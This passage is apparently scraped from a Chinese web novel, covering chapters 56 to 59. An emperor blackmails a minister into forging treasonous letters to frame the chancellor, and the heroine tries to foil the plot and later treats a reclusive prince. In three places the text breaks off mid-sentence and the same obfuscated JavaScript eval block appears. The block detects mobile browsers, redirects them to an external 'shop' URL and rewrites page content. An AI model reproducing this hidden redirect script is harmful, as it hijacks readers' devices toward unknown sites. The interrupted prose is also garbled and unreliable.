来到殿外,被阳光一照,他的脸色白得像鬼一样。 殿内,李淳拉着裴祭酒在炕上坐下,还亲自给他倒了茶,一派礼贤下士的做派。 “裴祭酒,朕有件事苦恼很久了,不知你可能为朕分忧?” 裴祭酒听到这个话,便有种大难临头之感,皇帝又想做什么? “臣子为皇上分忧,本就是分内之事,皇上尽管吩咐。” 李淳长叹一声,面露忧色:“朕听闻,姜相私下里结党营私,排除异己,还收受贿赂、卖官鬻爵、纵奴行凶、强占民田……罪行罄竹难书,只因他势大,所以满朝大臣竟无一人敢参他,朕甚是心痛啊! “朕视姜相为国丈,姜相却将朕当傻子,做出窃国之事!” 裴祭酒骇了一跳,忙下了炕,躬身辩解道:“皇上,微臣与姜相同朝为官多年,私下也相交甚笃,深知姜相绝不会犯下这种种罪行,定是有人在污蔑姜相,还请皇上明察!” 李淳张口直呼裴祭酒的名字:“裴彻,朕已经查得一清二楚,丝毫没有冤枉姜赦。” 裴祭酒心头仿佛被重锤抡了一下,已然明白了皇帝的意思,他这是非要将那些无中生有的罪名安在姜相头上啊! 再联想到皇帝方才让他们父子二人滴血验亲一事,他心中顿时有了强烈的不安。 皇上不会是要他—— 很快,他的预感成了现实。 只听皇帝道:“裴祭酒,姜相势大,你可有什么法子能够揭露他的种种罪行,将他绳之以法啊?” 裴祭酒:皇帝这是何意?是让他想法子诬陷姜相,将那些罪名强行按在姜相头上? “请皇上恕罪,微臣无能为力。” 李淳面色一寒:“裴祭酒,你说要是世人知道裴少清并非裴家子,而是裴夫人与一僧人苟合生下来的孽子,到时世人会如何看待裴家?看待你裴彻? “裴家的声誉,裴少清的前程,还有你自己的脸面,这些你都不顾了吗?” 裴祭酒心中悲愤莫名,皇帝这分明是在威胁他! 拿裴家的声誉、明光的前途来威胁他。 若他不按照他说的做,他就要将明光的身世公诸于众! 一时间,裴祭酒陷入了两难之境,一边是相交多年的好友姜相,一边是裴家和儿子,孰轻孰重? 56. 第56章 李淳将手重重落在裴祭酒肩膀上,“姜赦罪恶滔天,这件事即便你不去做,也有的是人去做,裴祭酒,你可要想好了。” 裴祭酒心中的天平,霎时倾向了裴家和儿子这边。 他艰难开口:“皇上,微臣回头便写折子,参姜相一本。” 李淳勾唇一笑,“不急,姜赦在朝中一手遮天,光是参他,可参不倒,朕有一法,可将姜赦一党一网打尽。” 裴祭酒心惊肉跳,“不知是什么法子?” 李淳:“朕听说,裴祭酒擅长模仿他人字迹?” 裴祭酒:“是。” 这件事他从未与旁人言,连家人都不知道,皇上是如何知道的? 李淳:“朕要你模仿姜赦的笔迹,书信一封,至于信的内容,朕已经提前拟好了,裴祭酒照着抄便是。” 他从御案下的暗格中拿出了一封信,递了过去。 裴祭酒接过来一看,大惊失色,皇帝竟要诬陷姜相通敌卖国?! 这封信,分明是以姜相的口吻写就,写给北周皇帝的,说是有意与他缔结盟约,为表诚意,信中还附上了北境的边防图! “皇上,万万不可啊!” 李淳:“裴祭酒慌什么,这封信又不会真的寄出去,况且,上面的边防图是假的。” 裴祭酒是个文官,主管教育这一块儿,对军事布防这些并不了解,听皇帝这么说,便不由得放下了心来。 皇上是大齐之主,再怎么样,也不会拿自家的江山社稷胡来吧? 基于这一认知,裴祭酒怀着一颗惴惴不安的心,仿照着姜相的笔迹,将那封信抄写了一遍。 然而他不知道的是,李淳不是个正常的皇帝,前世遭受的种种,让他早就心理扭曲了,重生而来,他已经成了个为达目的不择手段的人。 如果能够彻底扳倒姜赦和他的党羽,那么牺牲边境的几座城池,一些将士百姓,又算得了什么? 几天后的朝会上,北境送来了八百里加急信件。 李淳看完信后,当场暴怒拍桌,“北周该死!朕迟早有一日要率领铁骑踏平北周王庭!” 众臣皆惊。 李淳将信递给墨春:“诸公也看看。” 那封信被传递了下去,依次落到了裴太傅、姜相、杨尚书等人手里。 这封信,是镇北大元帅杨策的请罪折子。 缘何请罪? 三天前,北周率领两万铁骑突袭而至,连下三城,进城后大肆劫掠屠杀,无数百姓家破人亡,妻离子散……事后北周铁骑扬长而去,留下满城的尸首和遍地狼藉。 作为镇守北境的主将,杨策自陈自己有着不可退卸的责任,请皇帝降罪。 看完信后,众位大臣反应各异,但好歹还绷得住,唯有两个人反应比较大。 一个是与镇北大元帅相交甚笃的宁远侯,“这其中是否有什么误会?杨帅镇守北境多年,将北境防守得如铁桶一块,这次怎么会——” 话未说完,身后传来一声惊呼:“裴大人!” 转头一看,裴祭酒竟然瘫软了下去,手里的信纸飘落在了地上。 旁边的人连忙去扶裴祭酒,然而他的身体仿佛一瞬间垮了般,变得沉重无比,半晌都扶不起来。 裴祭酒瘫坐在地上,目光越过前面的一众大臣,不可置信地看向御阶之上的皇帝。 对上的,却不是皇帝心虚愧疚的眼神,而是冷酷无情的注视,那注视中,还暗含着警告。 裴祭酒整个人顿时如坠冰窖。 皇帝骗了他!那封信上所写的都是真的!皇帝还以姜相的名义将其送了出去,送到了北周皇帝手里! 皇上啊,你怎能这么做! 你疯了不成?! 身为一国之君,竟视将士百姓为草芥,拿来陷害国之重臣! 你上对不起天,中对不起列祖列宗,下对不起黎民百姓!你是大齐的罪人!你不配为君! 然而他自己又能好到哪里去?为了维护裴家的声誉,为了儿子的前途,他亲手誊抄了那封信! 他自己也是千古罪人! “噗!”裴祭酒猛地喷出了一口血来,眼前一黑,倒了下去。 边境的战乱,前朝的纷争,距离后宫都太遥远,姜念虞对此一无所知,这会儿她正坐在院子里的花架下,品尝着膳房新鲜出炉的蛋糕。 “唔,好吃!春樱,你成功了!”姜念虞朝春樱竖起了大拇指。 这款水果奶油小蛋糕,正是出自春樱之手,闻言她欣喜不已,“娘娘喜欢就好。” 姜念虞:“喜欢,我喜欢得不得了,要是以后每天都能吃到一个小蛋糕,我不敢想象自己会有多么开心幸福。” 春樱有些为难,她是很愿意每天都做蛋糕给娘娘吃的,可每天吃不太好吧? 可她根本不知道怎么拒绝娘娘,只好将求救的目光投向了夏桃。 夏桃微微一笑,笑里藏刀:“娘娘,您吃吧,最好带着小主子一块儿吃,到时候小主子光吃蛋糕就能吃饱了,也不用吃饭了,多好啊。” 姜念虞:“……”夏桃是懂阴阳怪气的。 “好啦,我就是说说而已,怎么可能真的每天都吃蛋糕呢。” 夏桃:“那就好,甜食吃多了容易烂牙,肚子里还会长虫,可吓人了,娘娘就是不为着自己,也要为小主子多想想,不然以后小主子顶着一嘴烂牙出去,多丢人啊。” 姜念虞:“知道了,我会努力克制自己的。” 一转头,桌上的小蛋糕凭空消失了,只剩下一个光可鉴人的盘子! 姜念虞不用想都知道是谁干的,“姜小红!你给我出来!” 花藤间,一只粉色的小胖鸟钻出来,脑袋上顶着一朵凌霄花,一双玄金色的大眼睛圆溜溜水汪汪地望着她,一脸的无辜。 仿佛偷吃了大半个蛋糕的不是它一样! 姜念虞一个猛子窜起来,朝它抓过去。 小红立马扑腾着翅膀飞走了,半空中掉下来一片毛绒绒的羽毛。 别看它长得肥,跟个毛绒团子似的,飞起来速度竟丝毫不慢,即便姜念虞如今已经学会了轻功,能够在半空中腾转挪移了,也依然抓不住它。 底下,春樱和夏桃看着一人一鸟上演的“它逃她追”闹剧,已经习以为常了。 屋顶上,姜念虞眼疾手快朝小红抓去,结果还是被它给逃了。 小红拿屁股对着她,扑腾着小翅膀,“啾啾啾~” 好像在说,你来抓我呀。 那贱兮兮的样儿,让姜念虞火气直线上升,十分后悔当初把它给带出来。 她就该让这只臭鸟一辈子待在那个暗无天日的宝库里,做它的蛋! 现在可好,才几天功夫,它的翅膀就硬了,经常偷吃她的零食不说,还喜欢拿屁股对着她,冲她放屁! 天知道一只出生没多久的小鸟为啥放屁这么臭啊! 简直堪比生化武器! “姜小红,我警告你啊,不许对着我放屁,不然我就拔了你的毛把你烤了吃!” 姜小红不屑。 姜小红冲她晃屁股。 姜小红冲她放了一个大臭屁。 姜念虞:“……” 放完臭屁的小胖啾十分得意,扑腾着和身子十分不协调的小翅膀飞走了。 结果得意了没几秒,就一头撞进了玄猫的嘴里,被它死死叼住了。 任它如何挣扎也无济于事。 玄猫叼着小胖啾来到姜念虞面前。 姜念虞一阵惊喜,“咪咪真厉害,替我抓住了这个小臭鸟。” 伸出两根手指将小胖啾擒过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545898|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,晃了晃,“你跑啊,你再跑啊,这下落到我手里了吧,看我怎么收拾你。” 落入“邪恶”主人手里的小胖啾,脑袋一歪,舌头一吐,生无可恋地装死。 姜念虞扑哧一笑,骂道:“身子还没我巴掌大,心眼子倒是不小,戏精投胎的吧你。” 第二天就是姜相的六十大寿。 本来在这个边境战败的节骨眼儿上,姜相并不想办六十大寿,一家人聚在一起吃个饭就行了。 但是皇帝偏偏要给他大办,还命内务府操持他的寿宴,务必要办得风风光光。 按他的说法是:“皇后去了,合该由朕来替她尽孝才是,况且姜相为国为民、鞠躬尽瘁这么多年,人生唯一一次六十大寿,怎么能草率对待呢?怎么隆重都不为过。 “这件事就交给朕了,姜相只等着做寿星公便是。” 到了时辰,李淳领着德妃和晟儿,一同出宫去给姜相贺寿。 李淳赐给姜相的寿礼是一幅字,他亲笔题写的“松鹤延年、福如东海”。 前来祝寿的一众宾客都对姜相表示祝贺,言辞间颇为羡慕。 姜相一向沉肃的面容,也难得露出了一副喜色,满面红光。 姜念虞在一旁却是暗自撇嘴,李淳这个狗东西真是抠门到家了,动不动就赏赐他的亲笔题字,这玩意儿有个屁用。 还不如一叠草纸。 不像她,给便宜老爹准备的生辰礼可用心可实在了。 “爹,您看我给您准备了什么贺礼?” 随着她的话音,石永竹领着两个小太监献上了寿礼,石永竹自己端着的是一个大蛋糕,后头的两个小太监则是抬着一个大箱子。 石永竹将蛋糕放在姜相面前的案桌上,揭开盖子,精致漂亮的蛋糕展露在了众人眼前,散发着一股诱人的奶香和甜香。 蛋糕上用奶油雕出了一个栩栩如生的寿桃。 寿桃旁边还写了一行小字:“生日快乐。” 姜相眼眶顿时有些湿润了。 坐在一旁的姜夫人有些好笑,替丈夫问了出来:“德妃娘娘,这是何物啊?” 姜念虞看了晟儿一眼,轻轻推了推他的背。 晟儿上前脆生生道:“外祖母,外祖父,这是蛋糕,姨母在一本古书上看见了这道点心方子,带着人研究了数日,这才做了出来,今天专门带来给外祖父祝寿的,希望外祖父健康、快乐、长寿。” 姜相愈发感动了,“德妃娘娘有心了。” 姜夫人拍抚着丈夫的背,替他高兴的同时又有些酸,也不知她生辰的时候,岁岁会不会也给她做一个蛋糕呢? 姜念虞:“爹,除了蛋糕,女儿还准备了另一样礼物,把箱子打开。” 两个抬箱子的小太监将箱子打开,从中抱出来一个硕-大的西瓜,都快有磨盘大了。 箱子里还放了冰块,西瓜被抬过来的一路上,都被冰镇着。 众人都没见过这东西,纷纷看了过来,只见那物呈现椭圆形,外皮翠绿莹润,和冬瓜很像。 但她们又觉得,德妃肯定不可能献上一个冬瓜,于是猜测:“难道这是由玉石雕刻而成的玉瓜?” 姜念虞介绍道:“此物名为西瓜,乃是从西域传来的一种瓜果,切开即可食用,滋味清甜,汁水丰盈,乃是夏日解渴佳品。” 两个小太监当场将西瓜切开,动作熟练地切成均等的小块,分装到盘子里,端给一众宾客品尝。 众人一尝,都赞不绝口。 可惜就是太少了,一人只分得了一小块。 瓜虽大,却也不够每个人都敞开吃啊。 李淳吃着瓜,也是颇为惊艳,在钻营吃食一道上,德妃倒是颇有天赋。 待姜家倒台,他不妨留着她,赏赐她一个厨娘的位置,让她每日操持他的膳食。 57. 第57章 裴府。 怒火攻心、吐血后昏迷了两天的裴祭酒,终于醒了过来。 “明,明光……” 守在床边的裴少清忙握住父亲艰难抬起的手,“爹,儿子在,您渴不渴?喝口水吧。” 裴祭酒:“快……去姜府,告诉姜相,皇上陷,陷害他,通……通敌卖国……” 强撑着说完这句话,他便止不住地咳嗽起来。 裴少清忙为他顺气,裴祭酒推着他:“快……咳咳咳……快去!” 当裴少清赶到姜府时,却见姜府外面已经被禁军围了起来,街口处聚集了不少看热闹的百姓,正对着姜府的大门指指点点,议论纷纷,说着什么“通敌”、“书信”。 他心下一沉,没想到他紧赶慢赶,还是来晚了一步。 一刻钟前。 姜府内高朋满座、欢声笑语,一片鲜花着锦、热闹富贵的景象。 忽然一个形容狼狈、满身带血的士兵骑着马直接闯了进来,奔进宴会大厅,从马上滚下。 “姜赦老贼!你通敌卖国,害死了边关数万百姓,还想将末将杀人灭口,可惜末将终究还是活着回来了!” 说完这句话,士兵就昏迷了过去。 然而他的这句话,却犹如巨石,瞬间激起了千层浪,震得在场众人目瞪口呆,手足无措。 李淳猛地起身,目光射向姜赦:“姜相,可有此事?” 姜赦从案桌后疾步走出来,跪倒在地,“请皇上明鉴,绝无此事!” “是啊皇上,姜相忠君爱国,天地可鉴,怎么会做出通敌卖国之事?这定是有小人栽赃陷害姜相!” 有人替姜相说好话,自然也有人落井下石。 “我就说镇北大元帅怎么会突然守不住城了,原来是我们大齐出了内贼!” “姜相通敌卖国,北周这才能连下我大齐三座城池,杀伤无数百姓!姜相,你怎能做出如此丧尽天良之事!” “镇北大元帅,还有边关的将士百姓们,冤呐!” …… 在这一面倒的口诛笔伐之下,即便是想为姜赦说好话的人,这会儿也不敢轻易张嘴了,深怕引火烧身。 李淳满脸怒容:“来人,将姜府围起来,给朕仔仔细细地搜!” 姜念虞皱眉,她知道李淳会对姜家下手,小说里他也是陷害姜赦通敌卖国,但那是在年底。 而现在,他却将陷害姜赦的时间提前了这么多,还故意选在了姜赦六十大寿这一天,用心当真歹毒! 可惜李淳陷害姜赦通敌卖国的证据——仿照姜赦的字迹伪造的一封书信,并不在姜府,而是在某个搜查的士兵身上,那士兵将信件藏在胸口,然后借着搜查将信件拿出来,假装是从姜府搜出来的。 这个士兵在小说里连正脸都没露,就是个只出场过一次的工具人,在这个剧情发生之前,他只是一个薛定谔的士兵,她根本无从找起。 所以即便知道李淳会陷害姜赦,她也没法提前让姜赦做好防范。 一旦姜赦被安上通敌卖国的罪名,那姜家就完了,她这个宫里的德妃也不会有什么好下场,晟儿这个有着姜家血脉的皇子,更是要与皇位无缘了。 姜念虞想趁乱悄悄溜出去,将那封会置整个姜家于死地的信件拦截下来,谁知李淳竟叫住了她:“德妃,你要去哪儿?” “嫔妾想如厕。”姜念虞低着头道。 人有三急,纵然李淳怀疑她是想搞什么小动作,却也不能不近人情到不许她去如厕,便指了两个宫人:“你们陪着德妃去。” 姜念虞心里咒了一声,离去前嘱咐春樱和夏桃看顾好晟儿。 被两个宫人盯着,姜念虞没法脱身,只能老老实实来到净房,进去后,立马从荷包里拿出一个小瓷瓶,打开瓶塞。 一只黄豆粒大小的虫子飞了出来,速度极快地飞出了窗户,朝着某一处飞去。 这是李玄璋交给她的一只蛊虫,名为青蚨蛊,青蚨蛊有子母蛊之分,无论子蛊和母蛊相距多远,都能彼此感应到,一旦获得自由,就会飞向彼此。 她手里的这只是子蛊,被从瓶子里放出来后,第一时间就是飞向李玄璋手里的母蛊。 李玄璋看到子蛊,便知道她这里出事了,需要帮助。 希望来得及。 青蚨蛊一路疾飞,飞出了姜府,飞出了京城,来到了运河上的一艘大船上,落在了李玄璋伸出的手里。 看见青蚨蛊,他没有丝毫惊讶,因为他早就预料到了这一幕。 ——李淳找上裴家父子,威胁裴祭酒仿照姜相的字迹写一封通敌卖国的信,这件事他知道。 李淳背地里真的通敌卖国,造成边疆数万军民死伤一事,他也知道。 李淳要在今日用那封信陷害姜相,他更知道。 但他从未试图阻止过,也没有告诉姜念虞。 因为他需要姜相牺牲,唯有姜相牺牲了,日后这件事被揭露出来时,百官才会唇亡齿寒,才会对李淳这个皇帝彻底失望,继而将他推翻。 所以对于姜念虞的求救,他非但不会回应,还要推波助澜。 姐姐,既然你并非姜赦的女儿,而只是借了姜念虞的壳子还魂,想来对于姜赦夫妇的死,你也不会太伤心吧? 放飞青蚨蛊后,姜念虞并未将所有的希望都放在李玄璋身上,自己紧接着就跳出了窗,施展轻功一路来到了书房。 小说里,那个士兵就是在书房,找到了那封所谓的姜赦通敌卖国的信件。 姜念虞趴在屋顶上,看见一个士兵找出了一个信匣——那是姜赦用来存放信件的匣子,那些信件一部分是姜赦年轻时和夫人来往的情书,一部分是亲友书信,总之都是有纪念意义的,所以他没舍得烧毁,而是用匣子好生装存了起来。 而这时,这个匣子却成了敌人陷害他的温床。 士兵翻找了一通,趁乱从怀里拿了一封信出来,混进了那一堆信件里,而后装作找到证据的样子,大喊一声:“找到了!” 姜念虞心里冷哼一声,她等的就是这一刻。 指尖射出一根藤蔓,那藤蔓如一道绿色的闪电,瞬间就缠住了那封信,卷了上来。 她直接将信团成团塞进嘴里,吞了下去。 这下证据没了,我看你还怎么冤枉我爹! 底下书房里,找到“证据”的士兵看着自己空空如也的手,整个人都愣住了,信呢?他那么大一封信呢? 刚才有一道绿色的光闪过,然后他的信就没了! 其余人各自忙着翻找证据,并未看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555728|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一幕,听见他的喊声看过来,“你找到什么了?” 那个士兵:“……” 完了,关键的证据被他弄丢了! “娘娘,娘娘?您还没好吗?” 姜念虞赶回来时,正听见那两个宫人在拍门,她忙窜进窗户里,打开门,“走吧。” 至于为何这么半天才开门,她为何要跟李淳的这两个眼线解释?只要没被抓到现行,她就是清白的! 李淳费劲巴拉地搞了这么一出,待会儿要是知道证据没了,他的阴谋失败了,表情肯定会很有趣吧? 想到这一幕,姜念虞都有些迫不及待了,不由得加快了步子。 “皇上,卑职发现了一封信,姜相写给北周皇帝的一封信!” 刚回到大厅,姜念虞就撞见一个士兵高举着一封信跑进去,冲李淳禀报道。 姜念虞:“!!!” 怎么回事?这封信不是已经被她给吞进肚子里了吗? 难道,李淳这狗东西做了两手准备,同时安排了两个人? 李淳接过信快速扫了几眼,“好一个为国为民的姜相!私底下竟是将我大齐边境的布防图泄露给了北周!姜赦,你真是太令朕失望了!” 李淳这话一出,姜念虞顿时升起了一股无力感,剧情还是按照原本的样子走了下去。 好像无论她怎么扑腾,都无法改变剧情。 李淳下令:“来呀,将罪人姜赦压入大牢,听候问斩!” 姜念虞回过神来,快速来到晟儿身边,将他搂进怀里,捂住了他的耳朵,不让他看到听到眼前的种种。 慈宁宫。 太后坐在蟠桃树下,与几个宫女玩叶子牌。 高大繁茂的蟠桃树犹如一柄巨大的绿伞,覆盖下一大片的浓荫,待在树下十分阴凉。 而且这蟠桃树还时时散发着一股清新芬芳的气息,令人闻之心旷神怡,每每待在树下,太后就觉得分外舒适。 所以这里已经成了她最常来的地方,除了睡觉之外,其余时间几乎都待在这儿,甚至午睡都是在树下。 饿了渴了便从树上摘两个桃吃,别提多悠闲自在了。 自从有了这棵蟠桃树,太后觉得真是吃嘛嘛香,沾枕头就睡,日子从未这么舒心过。 心里头舒坦了,她整个人也由内而外地焕然一新了,瞧着竟是年轻了好几岁,连白头发都不知不觉没了影儿。 太后对德妃愈发喜欢了。 今日是姜相的六十大寿,太后还特意吩咐人送去了一份厚礼—— 以往她可不会给姜赦那老东西准备厚礼,面子上过得去就行了。 不过看在他生了个好女儿的份上,她就舍出点好东西吧。 “哎哟,我又赢了。” “太后娘娘,奴婢的钱都叫您给赢去了,下个月可怎么过呀。” “太后娘娘牌技太高超了,奴婢是望尘莫及啊,再玩下去,怕是连明年的月钱都要输没了。” 太后被逗得哈哈大笑,“好了好了,来,这些赏你们。” 她一人抓了把金瓜子赏下去,比两个宫人输掉的钱可要多多了,两个宫人喜出望外,连连叩谢。 这时,黄鹂面色凝重,脚步匆匆地走过来,“太后娘娘,姜府出事了。” 58. 第58章 姜府上下都被抓进了大牢,寿宴不欢而散。 姜念虞心情沉重地带着晟儿回了宫,思考着要如何解决眼前的危机。 窗台那里传来一阵“咕咕咕”的鸽子叫声,姜念虞走过去,发现那只鸽子很眼熟,赫然是上次逛夜市时,来给李玄璋传信的那只黑色鸽子。 鸽子腿上绑着一根细竹管。 她解下细竹管,拿出里头卷成条的信纸,这封信果然是李玄璋写来的。 他在信上说,今日吏部对崔适的任命下来了——蜀州河阴县县令,随任命一道下来的,还有皇帝的一道口谕——即刻带着家眷上任,不可耽搁。 因着这道口谕,崔适连行礼都来不及收拾,只能带上一些盘缠并几样要紧的东西就出发了。 李玄璋作为家眷,也只能跟着即刻出发,甚至来不及跟她道个别。 这会儿他已经坐上了前往蜀州的船。 “一上船得了空,我便给姐姐写信,才要将信发出,便见青蚨蛊回来了,姐姐可是遇到了什么事?” 姜念虞将信拿在手里,慢慢攥成了团,李淳让崔适带着家眷即刻离京,分明是要让她和李玄璋分隔两地。 偏偏选在今天,李淳是怕李玄璋插手,导致他陷害姜赦的阴谋落空吧? 现在她即便将事情告诉李玄璋,也已经晚了,他人在船上,对京城的事鞭长莫及。 不过还是要跟他说一下的。 她简单写了封回信,将事情大致说了下。 给信鸽喂了点异能,将其放飞,看着它越飞越远,在空中成了一个点,直至消失不见,她转过身来,决定去一趟慈宁宫。 “太后娘娘,德妃来了。”蟠桃树下,宫人向太后禀报。 才说完,德妃就走了过来。 太后笑着招呼她:“虞丫头来了,会玩叶子牌吗?来陪我玩两局。” 姜念虞:“太后娘娘,我有事想单独跟您说。” 太后猜到她想说什么,冲一群宫人摆了摆手,待宫人都下去后,她长叹一声:“虞丫头,姜相的事我已经听说了,你来可是想让我替姜相求情?” 说这话时,太后心里已经想好怎么拒绝德妃了,虽然她很喜欢德妃,但说实话,姜相的倒台,她是很乐意看到的,因为杨家和姜家属于一山不容二虎的关系。 姜家倒了,杨家就能成为大齐最有分量的家族,拥有一半杨家血脉的昌儿,就能更容易被立为太子。 然而接下来德妃的反应,却大出她的意料。 姜念虞摇了摇头,“太后娘娘,我不是来求您替我爹求情的,而是来跟您做一个交易。” 太后:“哦?交易?” 姜念虞:“我治好顺王,您替我保下我爹娘的性命,如何?” 太后有些没听懂这话,或者说听懂了却无法理解,以至于她忍不住笑了笑:“虞丫头,你莫不是急糊涂了在这儿说瞎话?你如何能治好顺王?” 姜念虞:“实不相瞒,我就是余岁,余岁是我在宫外行走时的身份,这下您应该信了吧?” 太后愣住了,回过神来后,不由以一种全新的目光打量着她。 “难怪……” 德妃给她按摩几次,她的头痛就好了。 她还闻出了四合香不对劲,提醒了黄鹂,不然自己还不知道什么时候才能发现那香里掺了毒。 等到发现时,说不定中毒已深,回天乏术了。 还有之前晟儿落水,连太医都束手无策,后来德妃去了一趟,晟儿就活了过来。 如果德妃是神农谷的神医余岁,那事情就说得通了。 “你去过顺王府,知道顺王是个什么情形,先前顺王不让你看,难道这次你有法子能让他开门?” 姜念虞点头,“这次您就放心吧,我保证治好顺王,让他能够重新站起来。” 太后带着德妃出宫,来到顺王府。 只不过在踏进顺王府时,姜念虞就已经成了神医余岁。 站在顺王的房门外,姜念虞抬脚就踹了过去。 房门应声倒地。 管家大惊:“别——” 可惜已经晚了。 姜念虞已经抬脚跨过了门槛,走了进去,屋内十分昏暗,没等她适应光线看清屋内的情形,一张血盆大口就朝她咬了过来。 那是一条水桶粗的蟒蛇,通体乌黑,鳞片泛着金属般的光泽,光是看着就十分恐怖。 是顺王不良于行后豢养的。 ——他的腿残疾了,无法走路,而蛇这种生物,明明没有腿,却能快速游走,这令他十分羡慕。 养了蛇之后,他便将行走的愿望寄托在了蛇身上,看到蛇四处爬行游走,他便有种自己也跟着走动的错觉,会难得地感到高兴。 只是随着时间的过去,他的性情变得越来越暴躁阴郁,即便看着宠物蛇游走,也无法获得丝毫愉悦了。 于是这条越长越粗壮的蟒蛇,被他拿来作了另一种用途——吓人,防止别人靠近。 若是有人非要靠近,那不好意思了,等着被蟒蛇吃掉吧。 在此之前,太后和管家出于各种原因都没有告诉姜念虞蟒蛇的存在,她们实在也没想到她会这么莽,会直接破门而入。 院子里,知晓蟒蛇的存在而下意识离得远远的众人,看着那条蟒蛇从阴影里窜出来,朝姜念虞扑咬过去,都骇然失色。 太后更是心生绝望,完了,好不容易遇到一位神医,眼见着泓儿的腿有救了,虞丫头却要丧命于蟒蛇腹中! 然而她担心的事并未发生。 接下来发生的一幕,令在场所有人都震惊得失语了。 面对扑咬过来的蟒蛇,姜念虞原地一个腾跃,柔软到不可思议的腰肢在半空中一拧,便躲过了蟒蛇的这一击。 落下来时,双脚在蟒蛇脑袋上狠狠一蹬,这一蹬,犹如一块千斤巨石砸下来,砸得蟒蛇头晕目眩,一时无法锁定目标。 姜念虞落了下来,将蟒蛇粗壮光滑的身体当成滑滑梯,一溜滑下来,顺便朝它的七寸拍了一巴掌。 这一巴掌下去,蟒蛇彻底晕了,身体软软地趴了下去。 院子里的太后等人:“……” 缩在床上仿佛一朵蘑菇的顺王:“!!!” 这个女人是谁? 她把黑龙怎么了? 他很想上前质问、怒斥、咆哮,但长久以来封闭的生活,让他已经变得社恐了,心里有很多话,嘴上却说不出一个字,只能将被子扯过来,把自己裹得紧紧的。 露出来一只眼睛,暗戳戳盯着那个女人。 姜念虞拿出一道绳索,将晕厥过去的蟒蛇捆成一团,单手拖了出去。 那么大那么重的蟒蛇,她单手就拖动了! 众人看她的眼神如看怪物,惊叹中又夹杂着些许恐惧。 “砰!”姜念虞将蟒蛇丢在院子一角。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565802|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人忙退得远远的,胆小的都不敢往蟒蛇那边看。 “管家,劳烦你派几个人进去,把屋子收拾一下。”姜念虞客气地对管家道。 那屋子脏倒是不脏,但因为常年门窗紧闭,又养了一条大蟒蛇,透着一股子说不出来的怪味。 姜念虞可不想在那种环境下给人疗伤。 管家,准确来说是顺王府的长史,姓裘,也是朝中正儿八经的五品官。 原本对着姜念虞这么个民间神医,他是颇有一番傲气的。 这会儿听见她的吩咐,却是丝毫不敢怠慢,点头哈腰地应了。 “是是是,余神医稍等,我这就让人将王爷的屋子收拾出来。” 在等候的当儿,裘长史还亲自给姜念虞上了茶点,比对着太后还要殷勤小心。 太后在一旁瞧着,倒是不以为忤,反而露出了些微笑意。 裘长史傲归傲,人却是有真本事的,不然她也不会放心将泓儿交给他照顾。 如今他肯对虞丫头放低姿态,可见他已经在心里认可了虞丫头的本事。 那么接下来虞丫头的治疗,也会更顺利,泓儿也能更快好起来。 屋子收拾好了,姜念虞走了进去,又将所有的门窗都打开,让天光肆意地倾洒进来,屋子里顿时变得敞亮了。 床上的顺王却仿佛见不得光的吸血鬼般,愈发往床里侧缩了。 姜念虞暂时没搭理他,自顾自吩咐着下人,“拿几盆花来,最好是有香气的。” “桌上摆上瓜果点心茶水。” “这里摆一个冰鉴。” 不一时,原本蟒蛇巢穴一般的阴森房间,就变得明媚而又富有生活气息,空气里飘荡着的不再是一股子异味,而是阵阵花朵的清香。 太后看着这番改变,满意地点了点头。 原先儿子闷在屋子里,成日跟一条蟒蛇厮混,她是担忧又害怕,现在却不由得放松了下来,心中油然生出一股希望来。 “太后娘娘,接下来我要为顺王殿下治疗了,还请你们都退出去。” “好,我们都出去,你有什么需要的,尽管吩咐一声。” 太后等人都出去了,不过房门依然敞开着。 姜念虞走到床边,一把掀开了顺王裹在身上的被子。 顺王没了被子遮挡,下意识用胳膊挡住脸,仿佛见不得人似的,低吼道:“滚!我不需要你给我治。” 姜念虞将他的话当成耳旁风,直接上手,将瘦成白斩鸡似的顺王拖了过来。 岂料碰到他的一瞬间,脑海里的异能源种竟然亮了。 姜念虞:“……” 她忽然怀疑,李玄璋等人并不是因为长得帅才让她的异能源种“亮了灯”,而是因为他们都有病(或者伤)。 因为眼前的顺王左看右看都和美男子挂不上钩。 此时顺王的内心:这个女人!简直岂有此理! “你大胆!本王要杀了你!”他气愤地捶床,一双眼睛气得通红,狠狠瞪着她。 但也因为捶床的动作,他的胳膊放了下来,露出了脸。 一张瘦削的雪白的病态的脸。 但依然是好看的,再配上那双气红了的眼,愈发有种吸血鬼的既视感了。 姜念虞:好吧,是她误会自家的异能源种了,它的眼光一如既往地精准。 等治好了腿,好生养一养,顺王就是妥妥的美男子了。 59. 第59章 